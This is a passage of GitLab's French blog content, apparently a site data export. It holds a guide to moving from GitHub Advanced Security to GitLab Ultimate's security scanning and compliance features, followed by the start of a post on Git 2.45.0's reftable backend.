migrer fonctionnalité par fonctionnalité ?\n\nVoyons comment tirer parti de chaque fonctionnalité fournie par GitHub Advanced Security dans GitLab Ultimate. Pour continuer, vous devez disposer d'une [licence GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/). \n\nCommencez un [essai gratuit](https://about.gitlab.com/fr-fr/free-trial/devsecops/) de GitLab Ultimate.\n\n### Mise en place d'un scanner de code de sécurité\n\nGitHub fournit un scanner de code de sécurité pour offrir une veille contextualisée recensant les vulnérabilités et des conseils pour le code source statique. Vous pouvez effectuer la même action au sein de GitLab en activant [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). Les scanners SAST de GitLab couvrent un ensemble de langages de programmation et de frameworks plus large que le [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql) de GitHub.\n\nPour activer la mise en place d'un scanner de code de sécurité dans GitLab, vous pouvez simplement ajouter le [template SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré, SAST détectera automatiquement les [langages de programmation](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) utilisés dans votre projet. Il analysera ensuite le code source afin de détecter des vulnérabilités connues.\n\n**Remarque :** des scanners de sécurité peuvent également être ajoutés à votre projet à l'aide de la [configuration de sécurité](https://docs.gitlab.com/ee/user/application_security/configuration/) de GitLab, qui peut créer automatiquement une merge request pour mettre à jour votre pipeline. Pour en savoir plus, consultez notre [documentation](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\nLes résultats SAST de la différence entre la branche de fonctionnalité et la branche cible s'affichent dans le widget de merge request. Le widget de merge request affiche les résultats et les résolutions SAST qui ont été introduits par les modifications apportées dans la merge request.\n\n![Analyse de sécurité dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\nChaque vulnérabilité affiche des données pour aider à la remédiation, y compris une description détaillée, la gravité, l'emplacement et des informations de résolution :\n\n![Détails de la vulnérabilité SAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\nVous pouvez prendre des mesures pour corriger ces vulnérabilités :\n\n- **Ignorer la vulnérabilité** : permet aux équipes de développement d'ignorer la vulnérabilité avec un commentaire. Cela aide l'équipe de sécurité en charge de la revue.\n- **Créer un ticket** : permet de créer un ticket pour suivre une vulnérabilité nécessitant une surveillance supplémentaire.\n\nCes modifications peuvent également être visualisées lorsque vous basculez sur la vue **Modifications** de la merge request. \n\n![Vue des modifications de la vulnérabilité SAST](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n#### Personnalisation des scanners SAST\n\nGitLab vous permet de remplacer une définition de job SAST afin de pouvoir modifier des propriétés telles que des variables, des dépendances ou des règles. Vous pouvez le faire en déclarant un job du même nom que le job SAST à remplacer. Ensuite, placez ce nouveau job après l'inclusion du template et spécifiez toutes les clés supplémentaires en dessous.\n\nPar exemple, la configuration suivante :\n- écrase la version utilisée par le scanner `semgrep-sast`\n- exécute un script pour récupérer des modules de projets privés avant d'exécuter `gosec-sast`\n- configure tous les scanners pour rechercher à une profondeur maximale de 10\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n  variables:\n    SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n  before_script:\n    - |\n      cat \u003C\u003CEOF > ~/.netrc\n      machine gitlab.com\n      login $CI_DEPLOY_user\n      password $CI_DEPLOY_PASSWORD\n      EOF\n```\n\n**Remarque :** Les jobs SAST disponibles sont inclus dans le [template `SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Vous trouverez les configurations dans notre [documentation sur les variables CI/CD SAST](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n#### Personnalisation des ensembles de règles SAST\n\nPour chaque scanner SAST, GitLab traite le code puis utilise des règles pour trouver d'éventuelles faiblesses dans le code source. Ces règles déterminent les types de faiblesses signalées par le scanner.\n\n- Pour les scanners SAST basés sur Semgrep, GitLab crée, maintient et prend en charge les règles utilisées. Il combine le moteur open source Semgrep, les règles de détection gérées par GitLab et la technologie propriétaire de GitLab pour le suivi des vulnérabilités et la détection des faux positifs.\n- Pour les autres scanners SAST, les règles sont définies dans les projets en amont pour chaque scanner.\n\nVous pouvez personnaliser le comportement des scanners SAST en définissant un fichier de configuration d'ensemble de règles dans le dépôt analysé :\n- Désactiver les règles prédéfinies (disponibles pour tous les scanners)\n- Remplacer les règles prédéfinies (disponibles pour tous les scanners)\n- Remplacer les règles prédéfinies en synthétisant une configuration personnalisée à l'aide de modes « passthrough »\n\nPour plus d'informations et d'exemples sur la configuration des règles SAST, consultez notre documentation sur les [règles SAST](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) et sur la [personnalisation des ensembles de règles](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n### Analyse des secrets\n\nGitHub fournit une analyse des secrets, qui peut trouver, bloquer et révoquer les secrets divulgués. Vous pouvez effectuer les mêmes opérations au sein de GitLab en activant la [détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/).\n\nPour activer la détection des secrets dans GitLab, vous pouvez simplement ajouter le template suivant à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré (ou qu'un pipeline est exécuté), le scanner de secrets analysera le code source pour y détecter des secrets connus. La détection des secrets de pipeline analyse différents aspects de votre code, en fonction de la situation. Pour toutes les méthodes, à l'exception de la « branche par défaut », la détection des secrets de pipeline analyse les validations et non l'arborescence de travail. Consultez notre [documentation sur la couverture de la détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage) pour en savoir plus sur le fonctionnement de l'analyse des secrets.\n\nLors de la création d'une merge request, la détection des secrets analyse chaque validation effectuée sur la branche source. Tout comme dans SAST, chaque vulnérabilité détectée fournit les informations (telles que l'emplacement) et les identifiants suivants pour aider au processus de correction :\n\n![Détails de la vulnérabilité de la détection des secrets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\nComme pour le SAST, vous pouvez gérer ces vulnérabilités directement depuis la merge request, notamment en les ignorant ou en créant des tickets.\n\n#### Personnalisation des jobs de détection des secrets\n\nGitLab vous permet de remplacer une définition de job de détection des secrets afin de modifier des propriétés telles que des variables, des dépendances ou des règles. Vous pouvez le faire en déclarant un job du même nom que le job de détection des secrets. Ensuite, placez ce nouveau job après l'inclusion du template et spécifiez toutes les clés supplémentaires en dessous. Par exemple, la configuration suivante :\n\n- écrase l'étape du job de détection des secrets sur `sécurité`\n- permet l'analyse de l'historique\n- passe à la version 4.5 de Secrets Analyzer\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  stage: security\n  variables :\n    SECRET_DETECTION_HISTORIC_SCAN : \"true\"\n    SECRETS_ANALYZER_VERSION : \"4.5\"\n```\n\n**Remarque :** Les jobs de détection des secrets disponibles peuvent être trouvés dans le [template SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Vous trouverez les configurations disponibles dans notre [documentation sur les variables CI/CD de détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n#### Personnalisation des ensembles de règles de détection des secrets\n\nLe scanner de détection des secrets vous permet de personnaliser les secrets signalés dans l'interface utilisateur de GitLab. Les options de personnalisation suivantes peuvent être utilisées séparément ou en combinaison :\n\n- désactiver les règles prédéfinies\n- remplacer les règles prédéfinies\n- synthétiser une configuration personnalisée\n- spécifier un fichier de configuration à distance\n\nPar exemple, en créant le fichier `.gitlab/secret-detection-ruleset.toml`, dans le répertoire racine de votre projet, le paquet GitLeaks par défaut est étendu pour ignorer les jetons de test de la détection :\n\n```yaml\n### extended-gitleaks-config.toml\ntitle = \"extension of gitlab's default gitleaks config\"\n\n[extend]\n### Extends default packaged path\npath = \"/gitleaks.toml\"\n\n[allowlist]\n  description = \"allow list of test tokens to ignore in detection\"\n  regexTarget = \"match\"\n  regexes = [\n    '''glpat-1234567890abcdefghij''',\n  ]\n```\n\nPour plus d'informations sur le remplacement des règles prédéfinies du scanner, consultez notre [documentation sur la détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n#### Réponse automatique aux secrets divulgués\n\nLa détection des secrets de GitLab répond automatiquement lorsqu'elle trouve certains types de secrets divulgués. Les réponses automatiques peuvent :\n- révoquer automatiquement le secret\n- notifier le partenaire qui a émis le secret afin qu'il puisse le révoquer, notifier son propriétaire ou se protéger contre les abus\n\nGitLab peut également informer les partenaires lorsque les identifiants de connexion qu'ils émettent sont divulgués dans des dépôts publics sur GitLab.com. Si vous utilisez un produit cloud ou SaaS et que vous souhaitez recevoir ces notifications, vous pouvez implémenter une API partenaire, appelée par l'API de révocation de jetons GitLab. Consultez notre [documentation sur la réponse automatique aux secrets divulgués](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) pour en savoir plus.\n\n### Sécurité de la chaîne d'approvisionnement\n\nGitHub vous permet de sécuriser, de gérer et de signaler des chaînes d'approvisionnement logicielles grâce à des mises à jour de sécurité et de version automatisées et à des [SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'un SBOM ? \") en un clic. GitLab peut répondre à vos besoins en matière de sécurité de la chaîne d'approvisionnement à l'aide des fonctionnalités d'analyse des dépendances et de liste des dépendances (SBOM).\n\nPour activer l'analyse des dépendances dans GitLab, vous pouvez simplement ajouter le template suivant à votre fichier `.gitlab-ci.yml` :\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\nUne fois le template ajouté, chaque fois qu'un nouveau code est enregistré, l'analyse des dépendances détectera automatiquement les [gestionnaires de paquets](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) utilisés dans votre projet. Elle analysera ensuite les dépendances utilisées pour détecter les vulnérabilités connues.\n\nLes résultats de l'analyse des dépendances de la différence entre la branche de fonctionnalité et la branche cible s'affichent dans le widget de merge request. Le widget de merge request affiche les résultats et les résolutions de l'analyse des dépendances qui ont été introduits par les modifications apportées à la merge request. Dans une merge request, chaque vulnérabilité affiche des informations pertinentes pour aider à la remédiation, telles que les identifiants, les preuves et les solutions :\n\n![Détails de la vulnérabilité de l'analyse des dépendances](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\nComme pour SAST et la détection des secrets, vous pouvez remédier à ces vulnérabilités directement depuis la merge request, notamment en les ignorant ou en créant des tickets.\n\n#### Configuration de l'analyse des dépendances\n\nPour remplacer une définition de job (par exemple, pour modifier des propriétés telles que des variables ou des dépendances), déclarez un nouveau job du même nom que celui à remplacer. Placez ce nouveau job après l'inclusion du modèle et spécifiez toutes les clés supplémentaires en dessous. Par exemple, le code suivant :\n\n- désactive la correction automatique des dépendances vulnérables\n- nécessite un job de compilation à terminer avant l'analyse des dépendances\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n  variables:\n    DS_REMEDIATE: \"false\"\n  dependencies: [\"build\"]\n```\n\nPour en savoir plus sur la configuration des scanners de dépendances, consultez notre [documentation sur la personnalisation du comportement des scanners](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n#### Génération d'une SBOM\n\nGitLab fournit une liste des dépendances (SBOM) pour examiner les dépendances de votre projet ou de votre groupe et les détails clés sur ces dépendances, notamment leurs vulnérabilités connues. Cette liste est un ensemble de dépendances dans votre projet qui comprend les résultats existants et nouveaux. La liste des dépendances est générée après l'exécution réussie du scanner de dépendances sur la [branche par défaut](https://docs.gitlab.com/ee/user/project/repository/branches/default.html). Pour accéder à la liste des dépendances :\n\n1. Dans la barre latérale gauche, sélectionnez **Rechercher ou accéder à** et trouvez votre projet.\n2. Sélectionnez **Sécurisation > Liste des dépendances**.\n\n![Liste des dépendances (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\nDe là, vous pouvez voir les informations suivantes sur vos dépendances :\n\n| Champ\t| Description |\n| ----- | ----------- | \n|Composant\t| Le nom et la version de la dépendance. |\n| Empaqueteur | L'empaqueteur utilisé pour installer la dépendance. |\n| Emplacement | Pour les dépendances système, cela répertorie l'image qui a été analysée. Pour les dépendances d'application, cela affiche un lien vers le fichier de verrouillage propre à l'empaqueteur dans votre projet qui a déclaré la dépendance. Il affiche également le chemin d'accès vers une dépendance racine le cas échéant, et si cette option est prise en charge. |\n| Licence | Liens vers les licences logicielles de la dépendance. Un badge d'avertissement qui inclut le nombre de vulnérabilités détectées dans la dépendance. |\n| Projets | Liens vers le projet avec la dépendance. Si plusieurs projets ont la même dépendance, le nombre total de ces projets est affiché. Pour accéder à un projet avec cette dépendance, sélectionnez le numéro du projet, puis recherchez et sélectionnez son nom. La fonctionnalité de recherche de projet n'est prise en charge que sur les groupes qui ont jusqu'à 600 occurrences dans leur hiérarchie de groupe. |\n\n\u003Cp>\u003C/p>\n\nConsultez notre [documentation sur la liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/) pour en savoir plus.\n\n### Administration de la sécurité et de la conformité\n\nGitHub Advanced Security vous permet de visualiser les métriques et les informations clés sur la sécurité et d'évaluer les risques de sécurité liés au code. Examinons maintenant comment faire de même avec GitLab Ultimate.\n\n#### Affichage des métriques et des informations clés sur la sécurité\n\nGitLab fournit des [tableaux de bord de sécurité](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) pour aider à évaluer la posture de sécurité de vos applications. Ces tableaux de bord affichent un ensemble de métriques, d'évaluations et de graphiques pour les vulnérabilités détectées par les scanners de sécurité exécutés sur votre projet :\n\n- tendances des vulnérabilités sur une période de 30, 60 ou 90 jours pour tous les projets d'un groupe\n- une note pour chaque projet en fonction de la gravité de la vulnérabilité\n- le nombre total de vulnérabilités détectées au cours des 365 derniers jours, y compris leur gravité\n\nPour accéder au tableau de bord de sécurité :\n\n1. Dans la barre latérale gauche, sélectionnez **Rechercher ou accéder à** et trouvez votre projet ou votre groupe.\n2. Dans l'onglet latéral, sélectionnez **Sécurisation > Tableau de bord de sécurité**.\n3. Filtrez et recherchez ce dont vous avez besoin.\n\nLa vue de groupe affiche votre posture de sécurité pour tous les projets de votre groupe :\n\n![Tableau de bord de sécurité de groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\nLa vue du projet affiche votre posture de sécurité pour un seul projet :\n\n![Tableau de bord de sécurité de projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n#### Évaluer le risque de sécurité du code\n\nGitLab Ultimate dispose d'un [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), qui fournit des informations sur les vulnérabilités des scans de la branche par défaut. Il contient les résultats cumulés de tous les jobs réussis, que l’exécution du pipeline ait réussi ou non. À tous les niveaux, le rapport de vulnérabilités contient :\n\n- le nombre total de vulnérabilités par niveau de gravité\n- les filtres des attributs de vulnérabilité courants\n- les détails de chaque vulnérabilité, présentés sous forme de tableau\n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\nCliquer sur une vulnérabilité permet d'accéder à sa [page de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), qui contient un certain nombre d'informations : une description, un emplacement, des identifiants et plus encore. Voici un exemple de page pour une vulnérabilité d'injection SQL détectée par notre scanner SAST :\n\n![Page sur les vulnérabilités d'injection SQL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\nÀ partir de là, l'équipe de sécurité peut collaborer en [modifiant le statut d'une vulnérabilité](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability), en ajoutant un motif et en [créant des tickets pour mieux suivre les changements apportés](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\nDepuis la page de vulnérabilités, vous pouvez également tirer parti de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités alimentée par l'IA, pour expliquer la vulnérabilité et [créer automatiquement une merge request qui la résout](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\nL'[explication des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) de GitLab Duo utilise un grand modèle de langage pour :\n\n- résumer la vulnérabilité\n- aider les équipes de développement et les analystes en sécurité à comprendre la vulnérabilité, comment elle pourrait être exploitée et comment y remédier\n- suggérer une atténuation\n\n![Explication via l'IA de GitLab Duo de l'injection SQL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n## Fonctionnalités de sécurité supplémentaires de GitLab Ultimate\n\nGitLab Ultimate contient de nombreuses autres fonctionnalités de sécurité. En voici quelques exemples : des scanners de sécurité supplémentaires pour le cycle de vie complet du développement logiciel (SDLC), des garde-fous de sécurité granulaires et des autorisations personnalisées.\n\n### Scanners de sécurité pour l'ensemble du SDLC\n\nNotre portefeuille de scanners de sécurité s'étend à l'ensemble du SDLC.\n\n| Nom du scanner | Scans | Langages/Fichiers analysés|\n|  -------------- | ----- | ------------------------- |\n| [Tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Code source statique | C/C++, Java, Python, Go, JavaScript, C# et plus encore |\n| [Tests dynamiques de sécurité des applications (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Application Web en cours d'exécution, API en direct | Langage-agnostique |\n| [Analyse de l'Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Fichiers IaC |Terraform, AWS Cloud Formation, Ansible et plus encore |\n| [Analyse des conteneurs](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Images de conteneurs statiques et en cours d'exécution | Dockerfile |\n| [Analyse des dépendances et des licences](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Dépendances d'applications | Requirements.txt, Yarn, Gradle, Npm et plus encore |\n| [Tests d'API Web par injection de données aléatoires](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Envoie des données aléatoires/invalides à l'API Web | OpenAPI, GraphQL, HAR, Collection Postman |\n| [Test à données aléatoires guidé par la couverture de code](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Envoie des données aléatoires/invalides à la fonction | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\u003Cp>\u003C/p>\n\nGitLab vous permet également d'intégrer des [scanners tiers](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) et des [scanners personnalisés](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) à la plateforme. Une fois intégrés, les résultats du scanner sont automatiquement présentés à différents emplacements dans GitLab, tels que dans la vue pipeline, le widget de merge request et le tableau de bord de sécurité. Consultez notre [documentation sur l'intégration du scanner de sécurité](https://docs.gitlab.com/ee/development/integrations/secure.html) pour en savoir plus.\n\n### Stratégies de sécurité et de conformité granulaires\n\nLes stratégies de GitLab fournissent aux équipes de sécurité et de conformité [un moyen d'appliquer des contrôles à l'échelle globale dans leur entreprise](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Les équipes de sécurité peuvent s'assurer que :\n\n- les scanners de sécurité sont appliqués dans les pipelines de l'équipe de développement selon une configuration appropriée\n- tous les jobs de scan s'exécutent sans modification ni altération\n- les approbations appropriées sont fournies sur les merge requests en fonction des résultats de ces constatations\n\n![Politiques de sécurité des requêtes de fusion](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\nLes équipes de conformité peuvent appliquer de manière centralisée plusieurs approbateurs à toutes les merge requests et s'assurer que divers paramètres sont activés sur les projets dans le cadre des exigences de leur entreprise, comme l'activation ou le verrouillage des paramètres de merge request et de dépôt. Pour en savoir plus, consultez notre documentation de la [stratégie de sécurité de GitLab](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n### Rôles personnalisés et autorisations granulaires\n\n[GitLab Ultimate fournit des rôles personnalisés](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), qui permettent la création de rôles utilisateur disposant des privilèges et des autorisations requis en fonction des besoins de l'entreprise. \n\nPar exemple, un utilisateur pourrait créer un rôle « Auditeur de sécurité » avec des autorisations lui permettant d'afficher les vulnérabilités de sécurité dans le système, mais sans être en mesure de voir le code source ni d'effectuer des modifications dans le dépôt. Cet ensemble granulaire d'autorisations permet une séparation bien définie des tâches.\n\n![Création de rôle personnalisé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\nPour en savoir plus, consultez notre documentation sur les [rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html) et les [autorisations granulaires disponibles](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n### Centre de conformité \n\nLe Centre de conformité permet aux équipes dédiées de gérer les rapports sur le respect des normes de conformité, les rapports sur les violations et les frameworks de conformité pour leur groupe. Le Centre de conformité comprend les éléments suivants :\n\n- Le [tableau de bord du respect des normes de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html), qui répertorie l'état de conformité des projets répondant à la norme GitLab.\n- Le [rapport sur les violations des exigences de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) affiche une vue d'ensemble des activités liées aux merge requests pour tous les projets du groupe.\n- Le [rapport sur les frameworks de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) montre tous les frameworks de conformité au sein d'un groupe.\n- Le [rapport sur les projets de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) montre les frameworks de conformité appliqués aux projets dans un groupe.\n\n![Centre de conformité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\nCes tableaux de bord aident à s'assurer que la séparation des tâches est respectée pour optimiser la conformité au sein de votre entreprise. Pour en savoir plus, consultez notre [documentation sur notre Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n## En savoir plus\n\nCet article ne couvre qu'une partie du large éventail de fonctionnalités de sécurité offertes par GitLab Ultimate. Consultez ces ressources pour en savoir plus sur la façon dont GitLab Ultimate peut vous aider à améliorer la sécurité de votre entreprise et l'efficacité des équipes de développement :\n\n- [Pourquoi GitLab Ultimate ?](https://about.gitlab.com/pricing/ultimate/)\n- [Tutoriel de prise en main de l'approche DevSecOps](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [Premiers pas avec l'exemple de projet DevSecOps](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [Importer votre projet de GitHub vers GitLab](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Migration depuis GitHub Actions](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n- [Tutoriel : créer et exécuter votre premier pipeline GitLab CI/CD](https://docs.gitlab.com/ee/ci/quick_start/)\n- [Tutoriel : créer un pipeline complexe](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n- [Référence de la syntaxe YAML CI/CD](https://docs.gitlab.com/ee/ci/yaml/)",[1069,2903,673,1067,1951],"zero trust",{"slug":2905,"featured":92,"template":683},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:fr-fr:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":2911,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2912,"content":2917,"config":2922,"_id":2924,"_type":16,"title":2925,"_source":17,"_file":2926,"_stem":2927,"_extension":20},"/fr-fr/blog/whats-new-in-git-2-45-0",{"title":2913,"description":2220,"ogTitle":2913,"ogDescription":2220,"noIndex":6,"ogImage":2914,"ogUrl":2915,"ogSiteName":841,"ogType":842,"canonicalUrls":2915,"schema":2916},"Nouveautés de Git 2.45.0","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659507/Blog/Hero%20Images/AdobeStock_623844718.jpg","https://about.gitlab.com/blog/whats-new-in-git-2-45-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouveautés de Git 2.45.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-04-30\",\n      }",{"title":2913,"description":2220,"authors":2918,"heroImage":2914,"date":2919,"body":2920,"category":928,"tags":2921},[1437],"2024-04-30","Le projet Git a récemment publié la [version 2.45.0 de\nGit](https://lore.kernel.org/git/xmqq8r0ww0sj.fsf@gitster.g/). Jetons un\ncoup d'œil aux points forts de cette version, comprenant des contributions\nde l'équipe Git de GitLab et de la communauté Git au sens large.\n\n\n## Reftables : un nouveau backend pour le stockage des références\n\n\nChaque dépôt Git doit suivre deux structures de données de base :\n\n- Le graphique qui stocke les données de vos fichiers, la structure de\nrépertoires, les messages de commit et les tags.\n\n- Les références qui sont des pointeurs dans ce graphique pour associer des\nobjets spécifiques à un nom plus accessible. Par exemple, une branche est\nune référence dont le nom commence par un préfixe `refs/heads/`. \n\n\nLe format sur disque de stockage des références dans un dépôt est resté\nlargement inchangé depuis la création de Git et est appelé le format «\nfichiers ». Chaque fois que vous créez une référence, Git crée une «\nréférence libre » qui correspond à un fichier ordinaire dans votre dépôt Git\ndont le chemin d'accès correspond au nom de la référence.\n\n\nPar exemple : \n\n\n```shell\n\n$ git init .\n\nInitialized empty Git repository in /tmp/repo/.git/\n\n\n# Updating a reference will cause Git to create a \"loose ref\". This loose\nref is\n\n# a simple file which contains the object ID of the commit.\n\n$ git commit --allow-empty --message \"Initial commit\"\n\n[main (root-commit) c70f266] Initial commit\n\n$ cat .git/refs/heads/main\n\nc70f26689975782739ef9666af079535b12b5946\n\n\n# Creating a second reference will end up with a second loose ref.\n\n$ git branch feature\n\n$ cat .git/refs/heads/feature\n\nc70f26689975782739ef9666af079535b12b5946\n\n$ tree .git/refs\n\n.git/refs/\n\n├── heads\n\n│   ├── feature\n\n│   └── main\n\n└── tags\n\n\n3 directories, 2 files\n\n```\n\nIl arrive que Git empaquette ces références dans un format de fichier «\nempaqueté » pour que la recherche de références soit plus efficace. Par\nexemple :\n\n\n```shell\n\n# Packing references will create \"packed\" references, which are a sorted\nlist of\n\n# references. The loose reference does not exist anymore.\n\n$ git pack-refs --all\n\n$ cat .git/refs/heads/main\n\ncat: .git/refs/heads/main: No such file or directory\n\n$ cat .git/packed-refs\n\n# pack-refs with: peeled fully-peeled sorted\n\nc70f26689975782739ef9666af079535b12b5946 refs/heads/feature\n\nc70f26689975782739ef9666af079535b12b5946 refs/heads/main\n\n```\n\n\nBien qu'il soit relativement simple, ce format comporte certaines limites :\n\n\n- Dans les mono repos contenant de nombreuses références, nous avons\ncommencé à nous heurter à des problèmes d'évolutivité. La suppression des\nréférences est particulièrement inefficace car l'ensemble du fichier «\npacked-refs » doit être réécrit pour supprimer la référence supprimée. Dans\nnos plus grands dépôts, cela peut entraîner la réécriture de plusieurs\ngigaoctets de données à chaque suppression de référence. \n\n- Il est impossible d'effectuer une lecture atomique des références sans\nbloquer les rédacteurs simultanés, car il est nécessaire de lire plusieurs\nfichiers pour comprendre toutes les références.\n\n- Il est impossible d'effectuer une écriture atomique, car elle nécessite la\ncréation ou la mise à jour de plusieurs fichiers, ce qui est impossible en\nune seule étape. \n\n- La maintenance des références ne s'adapte pas bien, parce que vous devez\nréécrire le fichier « packed-refs » entièrement. \n\n- Étant donné que les références libres utilisent le chemin d'accès du\nsystème de fichiers comme nom, elles sont soumises à un comportement\nspécifique au système de fichiers. Par exemple, les systèmes de fichiers\ninsensibles à la casse ne peuvent pas stocker des références pour lesquelles\nseule la casse diffère.\n\n\nPour résoudre ces problèmes, Git v2.45.0 introduit un nouveau backend «\nreftable », qui utilise un nouveau format binaire pour stocker les\nréférences. Ce nouveau backend est en développement depuis très longtemps.\nIl a été initialement proposé par [Shawn\nPearce](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/) en juillet\n2017 et a été mis en place pour la première fois dans\n[JGit](https://www.eclipse.org/jgit/ \"JGit\"). Il est largement utilisé par\nle [projet 